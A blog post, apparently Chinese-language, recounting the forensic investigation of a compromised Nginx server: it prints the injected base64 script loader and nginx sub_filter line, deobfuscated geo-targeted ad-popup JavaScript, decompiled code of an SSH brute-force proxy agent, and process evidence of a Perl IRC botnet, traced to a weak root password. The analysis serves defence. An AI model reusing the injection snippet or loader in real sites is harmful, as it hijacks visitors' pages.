banner
Fei_xiangShi

FXLOG

你在这里发现了我, 说明了什么呢?

记一次 Nginx 被入侵事件

0x01 起因#

当我如往常一般打开 PVE 想挂一挂原神的时候,发现居然 Nginx (1.18) 的默认页面被注入了一个 JS, 他还伪装成 JQuery, 非常有趣

image

JS 反混淆#

查看这个 JS, 发现是混淆过后的,于是进行一个反混淆

image

image

反混淆代码如下:

(() => { 
    const config = {
        key: "13792427ab60437bafb55088e45e0e06",
        address: "https://bootscritp.com/lib/jquery/4.7.2/index.html",  
        imageUrl: "https://bootscritp.com/lib/jquery/4.7.2/1.gif", 
        jumpPercent: 100,   // 百分比控制
        jumpCount: 1,       // 每天最多弹几次
        debug: false        // 调试开关(true = 强制弹)
    };

    function createPopup() {
        if (document.getElementById("popup-container")) return;
        const html = `
        <div id="popup-container" 
             style="display:none;position:fixed;top:0;left:0;width:100%;height:100%;
                    background:rgba(0,0,0,0.6);z-index:999999;">
          <div id="popup-box" 
               style="position:absolute;top:50%;left:50%;transform:translate(-50%,-50%);
                      border-radius:12px;max-width:90%;background:transparent;">
            <div style="text-align:right;position:absolute;top:-35px;right:-5px;">
              <span id="popup-close" 
                    style="cursor:pointer;font-size:26px;font-weight:bold;color:#fff;
                           transition:color 0.3s;">&#10006;</span>
            </div>
            <div style="text-align:center;">
              <img id="popup-image" alt="点击进入" 
                   style="cursor:pointer;width:90%;max-width:600px;border-radius:12px;">
            </div>
          </div>
        </div>`;
        document.body.insertAdjacentHTML("beforeend", html);
    }

    function showPopup() {
        createPopup();
        const popup = document.getElementById("popup-container");
        const box   = document.getElementById("popup-box");
        const img   = document.getElementById("popup-image");
        const closeBtn = document.getElementById("popup-close");

        if (popup) popup.style.display = "block";
        if (img) {
            img.src = config.imageUrl;
            img.addEventListener("click", () => window.location.href = config.address);
        }
        if (closeBtn) {
            closeBtn.addEventListener("click", () => popup.style.display = "none");
            closeBtn.addEventListener("mouseover", () => closeBtn.style.color = "red");
            closeBtn.addEventListener("mouseout", () => closeBtn.style.color = "#fff");
        }
        if (popup) popup.addEventListener("click", () => popup.style.display = "none");
        if (box) box.addEventListener("click", (e) => e.stopPropagation());
    }

    function conditionCheck() {
        if (config.debug) { showPopup(); return; }

        let data = {};
        try { data = JSON.parse(localStorage.getItem(config.key)) || {}; } catch {}
        const today = new Date().toISOString().split("T")[0];
        if (data.date !== today) data = { date: today, count: 0 };

        if (data.count >= config.jumpCount || Math.random() * 100 >= config.jumpPercent) return;

        // 只允许中国大陆 IP
        fetch("https://api.ip.sb/geoip")
            .then(r => r.json())
            .then(json => {
                console.log("GeoIP 返回:", json);
                if (json.country_code === "CN") {
                    data.count++;
                    localStorage.setItem(config.key, JSON.stringify(data));
                    showPopup();
                }
            })
            .catch(err => console.warn("GeoIP 失败", err));
    }

    if (document.readyState === "loading") {
        document.addEventListener("DOMContentLoaded", conditionCheck);
    } else {
        conditionCheck();
    }
})();

色情广告#

可以看到这不是一个每次都会触发的脚本,为了满足各位的好奇心我还是立即执行一下

image

image

0x02 定位#

这是一个国内某服务器提供商位于宁波的服务器,服务器已备案于某公司名下,在这样一个严苛的条件下还能进行攻击,非常有意思,那么我们就从受害者 Nginx 开始排查

root@server-rMGU1XbC:~# curl 127.0.0.1
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

登录服务器后对本地进行一个请求,发现也被污染了,那么就开始依次排查哪里被攻击了

先看看 Nginx 配置文件

cat /etc/nginx/nginx.conf

...
sub_filter_types text/html;
    sub_filter '</head>' '<script>document.cookie="hasVisited178a=1;Max-Age=86400;Path=/";(function(){var hm=document.createElement("script");hm.src=atob("aHR0cHM6Ly9ib290c2NyaXRwLmNvbS9saWIvanF1ZXJ5LzQuNy4yL2pxdWVyeS5taW4uanM=");var s=document.getElementsByTagName("script")[0];s.parentNode.insertBefore(hm,s);})();</script>
</head>';
    sub_filter_once off;
...

可以知道 Nginx 所有网页都被添加了一个头部

root@server-rMGU1XbC:~# cat /usr/share/nginx/html/index.html 
<!DOCTYPE html>
<html>
<head>
<title>Welcome to nginx!</title>
<style>
    body {
        width: 35em;
        margin: 0 auto;
        font-family: Tahoma, Verdana, Arial, sans-serif;
    }
</style>
</head>
<body>
<h1>Welcome to nginx!</h1>
<p>If you see this page, the nginx web server is successfully installed and
working. Further configuration is required.</p>

<p>For online documentation and support please refer to
<a href="http://nginx.org/">nginx.org</a>.<br/>
Commercial support is available at
<a href="http://nginx.com/">nginx.com</a>.</p>

<p><em>Thank you for using nginx.</em></p>
</body>
</html>

本地 Nginx 主页文件是没有被修改的,再检查一下 Nginx 自己有没有被攻击

root@server-rMGU1XbC:~# which nginx
/usr/sbin/nginx
root@server-rMGU1XbC:~# md5sum /usr/sbin/nginx 
1317754528e1c486b6f1e8b363062683  /usr/sbin/nginx

是没问题的,那么是谁修改的 Nginx 配置呢

0x03 排查#

lsof 看一下

proxy-age 3906587            root    6u  IPv4 643527364      0t0  TCP server-rMGU1XbC:40482->auditbitcoin.supply:ssh (ESTABLISHED)
proxy-age 3906587            root    7u  IPv4 643523331      0t0  TCP server-rMGU1XbC:59370->vps-ca4bf331.vps.ovh.net:ssh (ESTABLISHED)
proxy-age 3906587            root    8u  IPv4 643527858      0t0  TCP server-rMGU1XbC:41792->server.pagesplus.nl:ssh (ESTABLISHED)
proxy-age 3906587            root    9u  IPv4 643486279      0t0  TCP server-rMGU1XbC:14106->au.ssdvps.xyz:ssh (ESTABLISHED)
proxy-age 3906587            root   10u  IPv4 643524301      0t0  TCP server-rMGU1XbC:19748->static.23.122.90.157.clients.your-server.de:ssh (ESTABLISHED)
proxy-age 3906587            root   11u  IPv4 643524645      0t0  TCP server-rMGU1XbC:58688->95.216.13.40:ssh (ESTABLISHED)

proxy-agent#

用 pid 看一下这个是什么

root@server-rMGU1XbC:~# sudo lsof -p 3906587
COMMAND       PID USER   FD      TYPE    DEVICE SIZE/OFF      NODE NAME
proxy-age 3906587 root  cwd       DIR      8,17     4096      1684 /tmp/.mjdjuxxcydy/k
proxy-age 3906587 root  rtd       DIR      8,17     4096         2 /
proxy-age 3906587 root  txt       REG      8,17  8587347      2571 /tmp/.mjdjuxxcydy/k/proxy-agent
proxy-age 3906587 root  mem       REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
proxy-age 3906587 root  mem       REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
proxy-age 3906587 root  mem       REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
proxy-age 3906587 root  mem       REG      8,17   191504     15372 /usr/lib/x86_64-linux-gnu/ld-2.31.so
proxy-age 3906587 root    0r     FIFO      0,13      0t0 174659017 pipe
proxy-age 3906587 root    1w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    2w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    3w      CHR       1,3      0t0         6 /dev/null
proxy-age 3906587 root    4u  a_inode      0,14        0     11318 [eventpoll]
proxy-age 3906587 root    5u  a_inode      0,14        0     11318 [eventfd]

非常典型的 /tmp 路径,看一眼

root@server-rMGU1XbC:/tmp/newpop# ls -a /tmp
.           .XIM-unix     cc.2         newpop            sshbot                                                                             uv-5abec762cab0104e.lock
..          .font-unix    cc.3         nginx-test        systemd-private-8ad1e99f07844f46aa091036c4c902b8-ModemManager.service-hcplzi
.ICE-unix   .mjdjuxxcydy  envnew       nginx_cache       systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-logind.service-FYj7gj
.Test-unix  aa.txt        envnew.tgz   nus               systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-resolved.service-1knWwg
.X11-unix   cc.1          initial.log  snap-private-tmp  systemd-private-8ad1e99f07844f46aa091036c4c902b8-systemd-timesyncd.service-CEKp4h

root@server-rMGU1XbC:~# stat /tmp/.mjdjuxxcydy
  File: /tmp/.mjdjuxxcydy
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 811h/2065d      Inode: 1257        Links: 3
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-09-11 18:52:26.599159469 +0800
Modify: 2025-07-18 23:11:32.969822573 +0800
Change: 2025-07-18 23:11:32.969822573 +0800
 Birth: -
root@server-rMGU1XbC:~# stat /tmp/sshbot
  File: /tmp/sshbot
  Size: 4096            Blocks: 8          IO Block: 4096   directory
Device: 811h/2065d      Inode: 2167        Links: 2
Access: (0755/drwxr-xr-x)  Uid: (    0/    root)   Gid: (    0/    root)
Access: 2025-09-11 18:52:26.595159432 +0800
Modify: 2025-07-01 18:23:21.451502461 +0800
Change: 2025-07-01 18:23:21.451502461 +0800
 Birth: -

这个 proxy-agent 所在的目录 .mjdjuxxcydy 还有 newpopsshbot 都非常可疑啊,随便拉一个到本地看看

先丢到奇安信去实锤一下,然后自己慢慢分析

image

 file proxy-agent
proxy-agent: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, Go BuildID=o6eaCr6JBkZCyBoMHfJX/LYWJHnsdDphndSyRnfVW/YgvgIxWc08bxgG1gT0mk/XcdJH4nBZKd8zbsHni3G, with debug_info, not stripped

《with debug_info, not stripped》
Go 语言写的,居然还有调试信息,看一眼

 ldd proxy-agent
	linux-vdso.so.1 (0x00007fdb32bb8000)
	libresolv.so.2 => /usr/lib/libresolv.so.2 (0x00007fdb32b62000)
	libpthread.so.0 => /usr/lib/libpthread.so.0 (0x00007fdb32b5d000)
	libc.so.6 => /usr/lib/libc.so.6 (0x00007fdb32800000)
	/lib64/ld-linux-x86-64.so.2 => /usr/lib64/ld-linux-x86-64.so.2 (0x00007fdb32bba000)

没什么问题,打开 IDA 看一眼

image

image

v87.str = (uint8 *)"http://147.182.224.216/gzip.exe";
v87.len = 31LL;
main_getPasswordFromURL(v87, *(string_0 *)&v0, v2, v3, v55);
v73.str = v87.str;
s = 31LL;
if ( v5 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v5 + 8);
  v.len = v1;
  v88.str = (uint8 *)"Failed to fetch password: %v\n";
  v88.len = 29LL;
  v96.array = (interface__0 *)&v;
  v96.len = 1LL;
  v96.cap = 1LL;
  log_Fatalf(v88, v96);
}
v98.str = (uint8 *)&byte_72937A;
v98.len = 3LL;
v81.str = (uint8 *)"ips.txt\x1B[1;33mFreeBSDUsage:\nfloat32float64UpgradeupgradeCONNECTarcfourssh-rsassh-dsssessionsshtypeTrailersocks5hHEADERSReferer flags= len=%d (conn) %v=%v,expiresrefererrefreshtrailerGODEBUGname %q:method:scheme:statushttp://chunkedCreatedIM UsedTuesdayJanuaryOctoberinvaliduintptrChanDir Value>ConvertforcegcallocmWcpuprofallocmRunknowngctraceIO waitrunningsyscallwaitingforevernetworkUNKNOWN:events, goid= s=nil\n (scan  MB in pacer: % CPU ( zombie, j0 = head = ,errno=panic:  nmsys= locks= dying= allocsrax    rbx    rcx    rdx    rdi    rsi    rbp    rsp    r8     r9     r10    r11    r12    r13    r14    r15    rip    rflags cs     fs     gs     Signal signal  m->g0= pad1=  pad2=  text= minpc= \tvalue= (scan)\ttypes : type 19531259765625nil keytls3desderivedInitialconnectlookup writetoSHA-224SHA-256SHA-384SHA-512Ed25519MD5-RSAserial:ExpiresSubjectcharsetavx512fos/execruntimeeae_prkanswers2.5.4.62.5.4.32.5.4.52.5.4.72.5.4.82.5.4.9amxtileamxint8amxbf16osxsavepass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 7LL;
v82.str = (uint8 *)"File containing domain and IP pairs";
v82.len = 35LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v82, v6);
_r0.len = v7;
v98.str = (uint8 *)"passwords%alldoms%lschlegelwebsocket";
v98.len = 9LL;
v81.str = (uint8 *)"pass.txtSSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v81.len = 8LL;
v83.str = (uint8 *)"File containing passwords";
v83.len = 25LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v83, v8);
_r0.array = v9;
v98.str = (uint8 *)&go_string__ptr_;
v98.len = 1LL;
v81.str = (uint8 *)&value;
v81.len = 2LL;
v84.str = (uint8 *)"SSH port%Domain%%domain%%DOMAIN%uname -adurationGoStringNO_PROXYno_proxyHTTP/1.1RSV1 setRSV2 setRSV3 setbad MASK3des-cbcpasswordhost keynistp256nistp384nistp521hijackedNO_ERRORPRIORITYSETTINGSLocation data=%q incr=%v ping=%qif-matchlocationhttp/1.1HTTP/2.0no-cacheContinueAcceptedConflictreadlinksendfilenil PoolThursdaySaturdayFebruaryNovemberDecember%!Month(scavengepollDesctraceBufdeadlockraceFinipanicnilcgocheckrunnable procid  is not  pointer, errno= packed=BAD RANK status unknown(trigger= npages= nalloc= nfreed=) errno=[signal  newval= mcount= bytes, \n-----\n\n stack=[ minLC=  maxpc= \tstack=[ minutes status= etypes 48828125strconv.parsing ParseInttlskyberCurveID(finishedexporternetedns0[::1]:53continue_gatewayshutdowninvalid address raw-readreadfromunixgramMD5+SHA1SHA3-224SHA3-256SHA3-384SHA3-512SHA1-RSADSA-SHA1x509sha1DNS nameReceivedif-rangeno anodeavx512bwavx512vlgo/typesnet/httpgo/buildClassANYQuestion2.5.4.102.5.4.112.5.4.17avx512cdavx512eravx512pfavx512dqpasswords%alldoms%lschlegelwebsocket";
v84.len = 8LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v84, v10);
v70 = v11;
v98.str = (uint8 *)&byte_7ACE40;
v98.len = 1LL;
v81.str = (uint8 *)&byte_72937D;
v81.len = 3LL;
v85.str = (uint8 *)"Timeout duration";
v85.len = 16LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v85, v12);
v69 = v13;
v98.str = (uint8 *)"serverport";
v98.len = 10LL;
v81.str = (uint8 *)"9595\x1B[0mroottrueuint:443httpnoneABRTALRMKILLPIPEQUITSEGVTERMexecunixreadSSH-Host&lt;&gt;idle1080DATAPINGPOSTEtag0x%xdateetagfromhostlinkvaryDategzip%x\r\nGoneopenstatsyncfileJuneJuly as hour in /etcboolint8chanfunccallkind on  != allgallpitabsbrkdead is LEAFbase of ) =  <==GOGC] = s + ,r2= pc=+Inf-Inf: p=cas1cas2cas3cas4cas5cas6 at \n\tm= sp= sp: lr: fp= gp= mp=) m=3125Atoiicmpigmpftpspop3smtpdial \r\t\nbindasn1Fromxn--ermssse3avx2bmi1bmi2timebitsNameTypecx16sse2%s:%s<nil>LinuxSunossvr04falsevaluefloat  -%sErrorhttpswrite&amp;&#34;&#39;:***@Rangerangeclose:path%s %q%s=%sHTTP/socksFoundlstatMarchAprilmonthLocalGreekint16int32int64uint8arrayslice and defersweeptestRtestWexecWhchanexecRschedsudogtimergscanmheaptracepanicsleep cnt=gcing MB,  got= ...\n max=scav  ptr ] = (trap:init  ms, fault tab= top=[...], fp:1562578125tls: Earlylinuxfilesimap2imap3imapspop3shostsparseSHA-1P-224P-256P-384P-521ECDSAutf-8%s*%dtext/bad nsse41sse42ssse3 (at Class...155%User%%user%Darwinnodorrstring\n    \tStringFormat[]byteBasic serveractiveclosedsocks5CANCELGOAWAYPADDEDCookieacceptallow";
v81.len = 4LL;
v86.str = (uint8 *)"Port for receiving data";
v86.len = 23LL;
flag__ptr_FlagSet_String(flag_CommandLine, v98, v81, v86, v14);
v68 = v15;
main_concurrency = 1000LL;
v98.str = (uint8 *)&go_itab__ptr_flag_intValue_comma_flag_Value;
v98.len = (int)&main_concurrency;
*(_QWORD *)v16 = &byte_7AE7D0;
*(_QWORD *)&v16[8] = 1LL;
*(_QWORD *)&v16[16] = "Concurrency level for SSH attempts";
*(_QWORD *)&v16[24] = 34LL;
flag__ptr_FlagSet_Var(flag_CommandLine, (flag_Value_0)v98, *(string_0 *)v16, *(string_0 *)&v16[16]);
if ( !os_Args.len )
  runtime_panicSliceB();
v17 = os_Args.len - 1;
*(_QWORD *)v16 = os_Args.cap - 1;
*(_QWORD *)&v16[8] = ((1 - os_Args.cap) >> 63) & 0x10;
v18 = (char *)os_Args.array + *(_QWORD *)&v16[8];
flag__ptr_FlagSet_Parse(flag_CommandLine, *(_slice_string_0 *)&v16[-16], *(error_0 *)&v16[8]);
v19 = *v69;
v20 = v69[1];
time_ParseDuration(*(string_0 *)(&v20 - 1), v21, *(error_0 *)v16);
elem = v24;
if ( v20 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(v20 + 8);
  v.len = v22;
  v89.str = (uint8 *)"Invalid timeout value: %v";
  v89.len = 25LL;
  p_v = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v89, *(_slice_interface__0 *)&v16[-8]);
}
len = _r0.len;
v90 = *(string_0 *)_r0.len;
main_loadDomainIPs(
  *(string_0 *)_r0.len,
  *(_slice_main_domainIP *)&v16[-8],
  *(_slice_main_domainIP *)&v16[16],
  v56,
  v58);
v73.len = (int)v90.str;
v63 = v90.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v91.str = (uint8 *)"Failed to load domain and IP pairs from file: %vbufio: writer returned negative count from Write";
  v91.len = 48LL;
  v27 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v91, *(_slice_interface__0 *)&v16[-8]);
}
array = _r0.array;
v92 = *_r0.array;
main_loadPasswords(*_r0.array, *(_slice_string_0 *)&v16[-8], *(_slice_string_0 *)&v16[16], v57, v59);
str = v92.str;
v61 = v92.len;
if ( *(_QWORD *)v16 )
{
  *(_OWORD *)&v.array = v4;
  v.array = *(interface__0 **)(*(_QWORD *)v16 + 8LL);
  v.len = *(_QWORD *)&v16[8];
  v93.str = (uint8 *)"Failed to load passwords from file: %v";
  v93.len = 38LL;
  v30 = &v;
  *(_QWORD *)v16 = 1LL;
  *(_QWORD *)&v16[8] = 1LL;
  log_Fatalf(v93, *(_slice_interface__0 *)&v16[-8]);
}
v94.str = v73.str;
v94.len = s;
strings_TrimSpace(v94, *(string_0 *)&v16[-8]);
if ( main_defaultPassword.len != s || (runtime_memequal(), !v32) )
{
  v95.str = (uint8 *)"Incorrect password. Exiting...\n";
  v95.len = 31LL;
  v97.array = 0LL;
  *(_OWORD *)&v97.len = 0uLL;
  log_Fatalf(v95, v97);
}

仔细看过每个函数后,发现这个软件并不是导致 Nginx 页面被篡改的罪魁祸首,这只是用我们机器做代理去攻击别的服务器的代理软件,那我们还得分析

brute#

进入 sshbot 文件夹发现了 brute 可执行文件

brute 用来爆破服务器账号和密码,配合 proxy-agent 攻击别的受害者

image

dockers#

查看 ps aux 可以看到很多在暑假启动的 dockers 进程,虽然显示了运行路径,但是实地考察时发现文件已经被删掉了,只有核心转储了

root     3578741  0.0  0.1  15896  3828 ?        S    Jul17   5:09 /usr/sbin/dockers
root     3664316  0.0  0.1  15900  3836 ?        S    Jul17   0:31 /usr/sbin/dockers
root     3690959  0.0  0.2  16028  3968 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3694008  0.0  0.1  16032  3904 ?        S    Jul18   5:01 /usr/sbin/dockers
root     3694116  0.0  0.1  15892  3816 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3694272  0.0  0.1  16032  3840 ?        S    Jul18   4:56 /usr/sbin/dockers
root     3695142  0.0  0.1  15900  3824 ?        S    Jul18   5:06 /usr/sbin/dockers
root     3696764  0.0  0.1  15900  3840 ?        S    Jul18   4:54 /usr/sbin/dockers
root     3698274  0.0  0.1  16024  3868 ?        S    Jul18   4:57 /usr/sbin/dockers
root     3701017  0.0  0.1  15900  3836 ?        S    Jul18   4:59 /usr/sbin/dockers
root     3701045  0.0  0.1  15896  3832 ?        S    Jul18   5:05 /usr/sbin/dockers
root     3790827  0.0  0.2  15896  4212 ?        S    Jul18   4:58 /usr/sbin/dockers
root     3829224  0.0  0.2  15900  4160 ?        S    Jul19   5:00 /usr/sbin/dockers

随便抓一个用 gcore 进行内存转储,获得 core dump

gcore -o ./dump 3829224

丢到 IDA 里看看

image

一个 Perl 脚本,继续查看字符串

image

PnP 和 IRC, 确定是僵尸网络无疑了,dockers 估计就是用来控制我们的上级服务器和用我们去控制别的肉鸡的软件

lsof 查一下 dockers 的通信 IP, 看看是什么地方的肉鸡

image

原来在瑞士

0x04 水落石出#

继续查看 ps aux 看到一个运行了很久的 sshd 进程,得知这个瑞士的 185.208.158.91 的 IP 一直在连接我们的服务器,真是嚣张,都不隐藏自己一下的吗

root     3809994 57.6  0.2  16656  5564 ?        R    Aug20 18319:18 /usr/sbin/sshd -i
root@server-rMGU1XbC:/var/log# sudo netstat -natp | grep 3809994
tcp        0      0 110.xxx.98.xxx:39290     185.208.158.91:6667     ESTABLISHED 3809994/sshd -i

尝试全盘搜索这个用 ssh 连接我们的 IP

sudo grep -r "185.208.158.91" /etc /var /home

发现日志

Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: Accepted password for root from 185.208.158.91 port 60788 ssh2
Sep 01 06:35:43 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session opened for user root by (uid=0)
Sep 01 06:35:43 server-rMGU1XbC systemd[1]: Started Session 24621 of user root.
Sep 01 06:35:43 server-rMGU1XbC systemd-logind[677]: New session 24621 of user root.
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.000736436+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:46 server-rMGU1XbC casaos[1403]: {"time":"2025-09-01T06:35:46.015785227+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:45671","method":"POST","uri":"/v1/notify/>
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;GetNetCard 2
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: /bin/bash -c source /usr/share/casaos/shell/helper.sh ;CatNetCardState eth0
Sep 01 06:35:47 server-rMGU1XbC casaos[1403]: up
Sep 01 06:35:47 server-rMGU1XbC casaos-message-bus[1249]: {"time":"2025-09-01T06:35:47.033515811+08:00","id":"","remote_ip":"127.0.0.1","host":"127.0.0.1:33341","method":"POST","uri":>
Sep 01 06:35:47 server-rMGU1XbC sshd[1074275]: pam_unix(sshd:session): session closed for user root
Sep 01 06:35:47 server-rMGU1XbC systemd-logind[677]: Session 24621 logged out. Waiting for processes to exit.

《Accepted password》
服务器上应该有防爆破攻击失败 ban 的防御程序啊,怎么会被知道密码呢
(思考)

警觉 *

image

果然老运维也会犯这样的错,原本在合资和同学买这个服务器的时候就三番两次地提醒说不要设置这么简单的密码,被以复杂密码不好记,令牌登录不方便等原因糊弄过去,也就不了了之了.

还以为是什么软件太老了被找到了 CVE, 还怪了一下 Ubuntu, 看来还是社工 > 技术啊

现在当务之急便是重装系统,改一个密码,然后写一篇博客告诫自己

0x05 后记#

谁在只有 20 个 G 的服务器上装了一个 NAS 啊,也不知道用的难不难受,没有分区用户资料这下重装系统只有全部数据 GG 了

假 cron 和 newpop#

清理系统时又发现一个病毒

root@server-rMGU1XbC:~/volatility# ps aux | grep cron
root         632  0.0  0.1   8540  2552 ?        Ss   Apr14   0:19 /usr/sbin/cron -f
root      293584 57.8  0.2  16532  4876 ?        R    Aug26 14023:41 /usr/sbin/cron
root     2451024  0.0  0.1   8436  2460 pts/4    S+   22:33   0:00 grep --color=auto cron
root@server-rMGU1XbC:~/volatility# lsof -p 293584
COMMAND      PID USER   FD   TYPE    DEVICE SIZE/OFF      NODE NAME
/usr/sbin 293584 root  cwd    DIR      8,17        0      2374 /tmp/newpop (deleted)
/usr/sbin 293584 root  rtd    DIR      8,17     4096         2 /
/usr/sbin 293584 root  txt    REG      8,17  3478464      2113 /usr/bin/perl
/usr/sbin 293584 root  mem    REG      8,17   101352     15390 /usr/lib/x86_64-linux-gnu/libresolv-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    27112     15383 /usr/lib/x86_64-linux-gnu/libnss_dns-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    51856     15384 /usr/lib/x86_64-linux-gnu/libnss_files-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    23152     72436 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/IO/IO.so
/usr/sbin 293584 root  mem    REG      8,17    47832     72450 /usr/lib/x86_64-linux-gnu/perl/5.30.0/auto/Socket/Socket.so
/usr/sbin 293584 root  mem    REG      8,17       62     15152 /usr/lib/locale/C.UTF-8/LC_NAME
/usr/sbin 293584 root  mem    REG      8,17       47     15155 /usr/lib/locale/C.UTF-8/LC_TELEPHONE
/usr/sbin 293584 root  mem    REG      8,17       34     15154 /usr/lib/locale/C.UTF-8/LC_PAPER
/usr/sbin 293584 root  mem    REG      8,17       23     15149 /usr/lib/locale/C.UTF-8/LC_MEASUREMENT
/usr/sbin 293584 root  mem    REG      8,17      252     15148 /usr/lib/locale/C.UTF-8/LC_IDENTIFICATION
/usr/sbin 293584 root  mem    REG      8,17      131     15145 /usr/lib/locale/C.UTF-8/LC_ADDRESS
/usr/sbin 293584 root  mem    REG      8,17  1518110     15146 /usr/lib/locale/C.UTF-8/LC_COLLATE
/usr/sbin 293584 root  mem    REG      8,17   201272     15147 /usr/lib/locale/C.UTF-8/LC_CTYPE
/usr/sbin 293584 root  mem    REG      8,17  3035952     11819 /usr/lib/locale/locale-archive
/usr/sbin 293584 root  mem    REG      8,17   202760      3462 /usr/lib/x86_64-linux-gnu/libcrypt.so.1.1.0
/usr/sbin 293584 root  mem    REG      8,17  2029592     15376 /usr/lib/x86_64-linux-gnu/libc-2.31.so
/usr/sbin 293584 root  mem    REG      8,17   157224     15389 /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
/usr/sbin 293584 root  mem    REG      8,17  1369384     15378 /usr/lib/x86_64-linux-gnu/libm-2.31.so
/usr/sbin 293584 root  mem    REG      8,17    18848     15377 /usr/lib/x86_64-linux-gnu/libdl-2.31.so
/usr/sbin 293584 root  mem    REG      8,17      270     15151 /usr/lib/locale/C.UTF-8/LC_MONETARY
/usr/sbin 293584 root  mem    REG      8,17       48     15150 /usr/lib/locale/C.UTF-8/LC_MESSAGES/SYS_LC_MESSAGES
/usr/sbin 293584 root  mem    REG      8,17     3360     15156 /usr/lib/locale/C.UTF-8/LC_TIME
/usr/sbin 293584 root  mem    REG      8,17    27002     15643 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
